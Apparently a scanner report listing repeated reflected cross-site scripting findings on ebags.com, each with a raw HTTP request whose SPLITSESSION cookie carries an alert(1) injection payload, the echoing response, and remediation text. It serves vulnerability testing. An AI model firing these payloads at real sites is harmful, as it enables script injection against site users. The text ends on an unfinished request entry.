GET /category/backpack-handbags/20036676 HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C78da4'%3balert(1)//4158ffbec4e; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:09:45 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:09:45 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 111958
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech. ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|78da4';alert(1)//4158ffbec4e'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4748f'%3balert(1)//b29ffd2f072 was submitted in the SPLITSESSION cookie. This input was echoed as 4748f';alert(1)//b29ffd2f072 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /category/clutches/20036679 HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C4748f'%3balert(1)//b29ffd2f072; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:10:29 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:10:29 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 120128
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech. ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|4748f';alert(1)//b29ffd2f072'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f9fe4'%3balert(1)//0d5903b01c5 was submitted in the SPLITSESSION cookie. This input was echoed as f9fe4';alert(1)//0d5903b01c5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /category/clutches/20048616 HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7Cf9fe4'%3balert(1)//0d5903b01c5; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:10:30 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:10:30 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 95979
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech. ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|f9fe4';alert(1)//0d5903b01c5'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c47a3'%3balert(1)//6f93ab58282 was submitted in the SPLITSESSION cookie. This input was echoed as c47a3';alert(1)//6f93ab58282 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /category/cross-body-bags/20037212 HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7Cc47a3'%3balert(1)//6f93ab58282; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:11:06 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:11:06 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 116098
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech. ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|c47a3';alert(1)//6f93ab58282'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3566e'%3balert(1)//65eaa91922f was submitted in the SPLITSESSION cookie. This input was echoed as 3566e';alert(1)//65eaa91922f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /category/handbags/10014 HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C3566e'%3balert(1)//65eaa91922f; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:10:10 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:10:10 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 117519
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|3566e';alert(1)//65eaa91922f'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b247d'%3balert(1)//b7b3987c633 was submitted in the SPLITSESSION cookie. This input was echoed as b247d';alert(1)//b7b3987c633 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /category/handbags/10014/h/sale HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7Cb247d'%3balert(1)//b7b3987c633; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:10:07 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:10:07 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 118415
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|b247d';alert(1)//b7b3987c633'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 35db9'%3balert(1)//174c2a7b538 was submitted in the SPLITSESSION cookie. This input was echoed as 35db9';alert(1)//174c2a7b538 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /category/hobos/20036674 HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C35db9'%3balert(1)//174c2a7b538; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:11:05 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:11:05 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 113981
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech. ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|35db9';alert(1)//174c2a7b538'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 36c7b'%3balert(1)//46d70b3c5ca was submitted in the SPLITSESSION cookie. This input was echoed as 36c7b';alert(1)//46d70b3c5ca in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /category/hobos/20048614 HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C36c7b'%3balert(1)//46d70b3c5ca; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:10:55 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:10:55 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 106075
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|36c7b';alert(1)//46d70b3c5ca'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ce005'%3balert(1)//2bba8979327 was submitted in the SPLITSESSION cookie. This input was echoed as ce005';alert(1)//2bba8979327 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /department/backpacks HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7Cce005'%3balert(1)//2bba8979327; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:07:44 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:07:44 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 72517
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|ce005';alert(1)//2bba8979327'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload daeeb'%3balert(1)//84748baca02 was submitted in the SPLITSESSION cookie. This input was echoed as daeeb';alert(1)//84748baca02 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /department/bags-by-ebags HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7Cdaeeb'%3balert(1)//84748baca02; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:07:15 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:07:15 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 59464
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|daeeb';alert(1)//84748baca02'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e2144'%3balert(1)//62264d29455 was submitted in the SPLITSESSION cookie. This input was echoed as e2144';alert(1)//62264d29455 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
